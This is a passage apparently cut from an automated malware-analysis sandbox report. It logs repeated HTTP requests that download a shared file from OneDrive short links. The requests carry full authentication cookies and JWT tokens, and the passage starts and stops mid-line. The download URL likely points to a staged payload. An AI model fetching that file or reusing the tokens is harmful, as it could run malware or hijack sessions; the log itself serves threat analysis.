BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODA2LCJuYmYiOjE3MjAxMTcwMDYsImdpdmVuX25hbWUiOiI0MyIsImZhbWlseV9uYW1lIjoiV3JlbiIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6ImFjNDUxNjg0N2E0ZGQ4ZTcyNjY5YTYyNzE1M2FlM2QzIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwMDZ9.dDCFs8f1d0ugKdk9rQOfqLyzh-luw1YMdsjkkcGKnIUUmY2f7pMzAm9N_nygBwDwdWbdvXBMuHqLdw01o9tpre1sIHw0PebpAx9j7bWkTqOKZIztXQ8N1vjxLFztHVThvjoaiVFI3e2o77sHx8U2KX0wdfriQ-jCszWG_ZlxzPjbognOoVTSxvIAV2_RlpXSBPqmmPNDBLrrF2JJCd3mjhW7Wmq5mG3LvXR5Vc4oqoyq192KPefeDu9xfQOpBELAKMXeW95e3Aoa_aemyq4ywE6qKFnoNC4UF_ip8x5w0w9DvgeXNrRQ79AV2d2Br-pBY7iBfMxUWdlBe3wx6m9K5g; E=P:GbUld1Wc3Ig=:t22Ik5vnCX5++CgJwZcc65dGIUF/GHUcRkyRMZx5VAk=:F; xid=0127c4b6-9d28-44a4-bd06-2c593c2fd4b7&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODEwLCJuYmYiOjE3MjAxMTcwMTAsImdpdmVuX25hbWUiOiI2MiIsImZhbWlseV9uYW1lIjoiU2VhIGxpb24iLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiJiMTI4N2RjZDFlMmQ4ODMzNjIxMTM2ZDM2OGRhZDhmNSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDEwfQ.fEvUuSteAPVmrxgPcq1Jqi7xrPSUtGLJ_UBefkjjqgEsXH-in1zDm2mZzvCKQg_TERWZIEVrbjqp0PPkmKdBMRxr7csft_vI4RwjtFJnw_AT8oNg9aSK108dV7uG2yNq7kNoOixCkHED1f1BfdbDcuBQ4o2XPGKuhGIh1P_KovO5_v-bEGLVyrGzPxkdLyZuNI2vRVlJFHQmcYrkLIWcgfUS9EQ4oKobjZmUaL1MDjPTprj3M9TJV7OZVA2nNF7HcVhUFjkpj3_mgNcfAPI8ppTq9uOscFQAopAe33WNXgoXKkQIbGOwMz-OxEU7nO94He7VWDSj_pMHomFW_dg2wQ; E=P:B1FieVWc3Ig=:hem1BL/yjr2leFUwsfjC2mk7qR/8c6Qh4lplsPfcmg8=:F; xid=8ad4d231-d03a-4355-a0cc-fe01ec3ed3c2&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODEzLCJuYmYiOjE3MjAxMTcwMTMsImdpdmVuX25hbWUiOiIxOSIsImZhbWlseV9uYW1lIjoiQmVlIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiMTk0MDFjOGIyYTRjNGYyOWY4ZmI3M2MwMmNhOGI5NDMiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAxM30.G34D1zXblj5u8OaRb7svRNz9g9knmqCTQRduMQXH3NLWRPywUX3il_P3zZlhsWpfa3pJMtacNlTsLOA6MQhBWJVmDwGa0HhYf8hKMLhooUYKiFCdzJPjgNJaigDkg0wqeLFM2UMfWa02Qvgc39Q8gIz9fYKNUxP8D1F4fb03wB-i9CFqveYC5UVxEE9drK3Pu9Rd_Khe-KZ2rtrCYE5INXgtQWWnkxT_CzgaYTdiVqIUPATu8Wi351E-cUxL2OJNuVDrsY_8yQ79WhCuCOQrcT405mE3B1FYRhNyX_EtDBAYPnmolcH0kftelkPf-MTuJARLQRfTwHGlIU8eKfAtVw; E=P:OmBje1Wc3Ig=:UCCUAqNeIaYGPyX9nihGNejj5epWn6cDyLlUKz3+16U=:F; xid=d4c5dad0-d4a9-449f-9440-e08cd7181edb&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODE3LCJuYmYiOjE3MjAxMTcwMTcsImdpdmVuX25hbWUiOiI1MyIsImZhbWlseV9uYW1lIjoiUmhpbm9jZXJvcyIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjZhZDQ2NTZlMzEzZjc0YzBlYzdjZTQ2MGI1NWExODE3IiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwMTd9.G63E1lkXlDcTd8aTifbz7Yvkvb0MEOLR717fyaskNLcOXELlNo6MFvIx24LSkgpE0kufzMU7NHXdkRlamV7rzWw6dvXT6eBoGpMsag3GAaNV2i7OFJP1XnjEeuhyIWAnlc2nBKjCue90Ih2CTPdlcTpHnDeXSku-wh0iace_M-iREngdSLJoRzM-5twYGvrq5JR7jVBuSKyaKwW6PPutftcSuDSU-SW2uQ2mF-dqcwpiAsPKuDr7gjURSyTdtx9JhCZpV3YdVGPURcKEtk3ijAa_h650QZEvuNTb59weOzkzpFtvywIHkoyIMBU8zc1tJENmZoXWP27tQUCnDvU9oA; E=P:kvuNfVWc3Ig=:4p8i+TmyCd3C8tzfaFRVOsjSid20aIVPdjuTXDcLX+c=:F; xid=ee7c0d1a-658d-4c05-b4c0-add4fec3c519&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODIwLCJuYmYiOjE3MjAxMTcwMjAsImdpdmVuX25hbWUiOiI0NiIsImZhbWlseV9uYW1lIjoiV2FscnVzIiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiYzk5NzY4YzNlNWQ0NDM1MDIzNzQ1NmJlZGMwNzgxOTkiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAyMH0.Go8I7kaSm-LjGoZxHBst-Vv806wD-exss32kpvBA6myt0Oe1ovUb2E-bf_RQYDBlyF86DH3WDsgC8KiTOB1AC-RQms4Oj-UKa_iZ4HCB7AJm-gLvpwrQhQZIqFcfaQmtmPrizPZYN2bA7E4nSnsuc8nhRRCzz6ocLDGICZXu3hyLFHQjIH0Wg4p-2wuzIRuzvXTYEBdkiByszD0jbjLhEK_PonOco8x_1jdarRyChXwHOOEiJ-NyALfYnhoNgJ_mezYGZ664Jz7ENz-VTtx0HtrsfZcO606zn5h387EMdnkOJF8K7VGkaCmoAghZwGtIatK_wpooRGNYM8_Ovts0PQ; E=P:bQhZf1Wc3Ig=:WxA1CpRNAoWt6PylcnORmoGz6bfN5zbCzrUyPG5VX6I=:F; xid=b5655327-5b0d-4f9e-a871-84be3db40f72&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODI0LCJuYmYiOjE3MjAxMTcwMjQsImdpdmVuX25hbWUiOiI3NSIsImZhbWlseV9uYW1lIjoiV29tYmF0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiODg0MWVhZWRmZjE3NTllMjdjMGI1Njk2OWUxNjYyNzIiLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAyNH0.N2kopIzuU0B_b8trjLuf-llL0MVzHIrrbCVKxnZsPQwJnH8LsqMwf4ggIExL2ZY0SZvjdSt4iP_YWimFazpp607SREN2_Ncz9XyLQBppNf_2oik_uu0Od5GDU4Fm7lQaXTWRtQ9t8OtbTcSB7ENFDb1dRi5iknhB1fOrr_Y67rGZMAXDAKQ98qlXC2ZsnR6iK1xNJxsg9R9qG0QLxReN5B8H2ymE-G2ow-4x43-9KoMt86om1hvGFvoTsRpo9DRkZp_4nBysVlgZ8caLT8e-OPJcbPfGXB0FOaS9Yxqc9FZmsA7BKStbtEEjdMN7Z8-bphNZbv7uZtecm--WTW8Veg; E=P:QaeSgVWc3Ig=:0iy5UFCThmNP6anX8H1nts5Mx+vCIiQ4u21c/FRSlWQ=:F; xid=80a1e136-a4c4-4104-bffa-cbbe71a7c7cb&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODI3LCJuYmYiOjE3MjAxMTcwMjcsImdpdmVuX25hbWUiOiIyMCIsImZhbWlseV9uYW1lIjoiU3RpbmdyYXkiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI3NjFiODBlNzRlMjEzMjA3OTIxMDVhMGVlZDVkZjJmMyIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDI3fQ.bU3n6qi-R0etF7LvfzjEJ1DG1aaiZNKpig-Pxk5Xmko8SqLJ_pAjCn6rWGDsWjWNoUGAjEuQlPGbBN-Gnua_X1IsnJufamdvD_V4UjajoGAvB6fF3fsf7V1V5EGSYrW7QDGih0BWxQaQwkivwrNDbp0oJssWacDuEIsR24qnzr9sLkmOMxADBziKP3xlUNOmTIblLWl8x64KEyK9QTJXXT5TaBJhiNNH4_sPRRIGeUKsuWg3hFjp_IDdlcbZz4fQgecWsStbIz4v71J2QktoNluq7h2MLs0cZWlrdXhWU0A5kRFhmdgVC4ncO3sihZQOLY97wz7MVeCcDEzk3snaHw; E=P:+Hucg1Wc3Ig=:d8LSr5qHWlK955v/X+Lw1iRV4LKqvDj3fOb77XpKwyE=:F; xid=84406759-3e5b-4f4a-b1bc-33d54cdf66fb&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODMxLCJuYmYiOjE3MjAxMTcwMzEsImdpdmVuX25hbWUiOiI2MyIsImZhbWlseV9uYW1lIjoiQW50ZWxvcGUiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiIyM2M1MmFhNDU3MzhmNTAxY2M5MTllNzE2NzQ4YjA5OSIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDMxfQ.FyTRWZLMLyTpCfYC_v9DTtqpwY4S2i1iDdp6s6so_QLD2WdT0rZh5sV7b7Qz90bhwS-AUP-qtkQGCiSQqWafdTTynX4kk5ZYvXWFH6Kt-GIYEmfnf6cZ6DKwHdZPNOFmNktzDT9cp6KKFGQ3iYVF8N1YPdYlVdT_70uJ6DYInu4DbnyJZvd4e2J7GlM7asdqZV5uxYO0sQUfgEXWzHm34o9_KIZtyUYtwGw6X2fOJzdJEa9G94gxTbklF5d5XkiCsFW4hGNAV177FI0-zd1AUyHpF4W3MPrJ4p1dL0YPWywmrikZFAZQRno5RhqcVR6l6OtrWlTKedfT6IyWegk5Bw; E=P:roXLhVWc3Ig=:8wft4sWjHgjFq3DbUV/y/lpA88X/zmvlY7dEfQ0lTCs=:F; xid=ae51855e-bdaf-4bc5-8e61-861407d74872&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODM0LCJuYmYiOjE3MjAxMTcwMzQsImdpdmVuX25hbWUiOiIzOCIsImZhbWlseV9uYW1lIjoiSG9ybmV0IiwiaHR0cDovL3NjaGVtYXMueG1sc29hcC5vcmcvd3MvMjAwNS8wNS9pZGVudGl0eS9jbGFpbXMvc2lkIjoiZDA0OGFlOWE3MDE0OGE1ZTFhNWM5NWRkNDkyYWJmZDciLCJhcHBpZCI6IjQzOTdGMDVBLTQzMjItNDgwNi1CM0M1LTMxQkYxMkJFMEE2MiIsImlhdCI6MTcyMDExNzAzNH0.exrV4wiZY5QsIlqWjhX2n3Cg_TfUyScXQEWmtNDhEmz9b1Cq1Tn_6t7G4_0EFp4Jdesj5qgaJfDQ8cm7Tylxlya2PFfIusvAa1VcHnjgLE8MM0x3JB0-PkAQtqFNa7rU64b8WOfg2i1Fea_q4g2bgN8KrPSMCK0unje3pmz1cTMnY3Bb5nWfgLRPFgNmH3nXj05DYXfJHSYPK6ohou9-_YaSacqb8af-8eGLjUGUsjXFg6KLaYENhd-kFfHzduXvsQ0MIMEjYmGBBFeU-AkTT2atsdyb-JaQX0hMI3Q8wzKK6d-Zrj4jeL1GKpL0jKFPktwdb3RTsDUTrh256Wzcqw; E=P:b4DXh1Wc3Ig=:FVgY3TRQ0hs7q5IxSSJ0s7vOEi020oooNEuO2f8ij4I=:F; xid=5ba26fda-fae0-48ec-b456-26ffa7807734&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODM3LCJuYmYiOjE3MjAxMTcwMzcsImdpdmVuX25hbWUiOiI2MSIsImZhbWlseV9uYW1lIjoiVmlwZXIiLCJodHRwOi8vc2NoZW1hcy54bWxzb2FwLm9yZy93cy8yMDA1LzA1L2lkZW50aXR5L2NsYWltcy9zaWQiOiI3NDU5YWE0Nzg3MTJhYTI3ODdmNzZlYTgzOTQyZjU5YiIsImFwcGlkIjoiNDM5N0YwNUEtNDMyMi00ODA2LUIzQzUtMzFCRjEyQkUwQTYyIiwiaWF0IjoxNzIwMTE3MDM3fQ.ZTYm8DgHWdv5gq-YAziC5qNudlCChTOWU5Gryg4Um4CMDi2yHVzBnu6wf-Qt1nNdg5IpzBoVRU2B2THSGO_JKP6pEjDugktFu0yEThHi0q9rb1-6NH78ideuNc4qJ80gxrTWV4UnV-4-GYpYtGOVArmT5MAytPLLFc50cN1OiayDZnbcfAIpAsbVFXH6cvqQBkatZYhBsKcKNbWYOYg6aDWnH7Lj-Vag7kCHQt-tTklD2gdVeQ6Eu27-1vO7tvMIQbv9ItE2IhkvG9_UnC3A73lgT6SHi0Que70sRXAA28Hv7xL_OO0i7Umgg36gsP0DwskU__iGREkyDQDsqrPifw; E=P:TjTUiVWc3Ig=:Oed5d7sTq40YXp9jfikvYeiXJTnFFDdpVxWvQo6a/MU=:F; xid=ac1ba27e-562c-4750-a5e7-59d92a3f0a6d&&ODSP-ODWEB-ODCF&228; xidseq=1; wla42=
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1Host: 1drv.ms
Source: global traffic	HTTP traffic detected: GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1Host: onedrive.live.com
Source: global traffic	HTTP traffic detected: GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1Host: onedrive.live.comCookie: 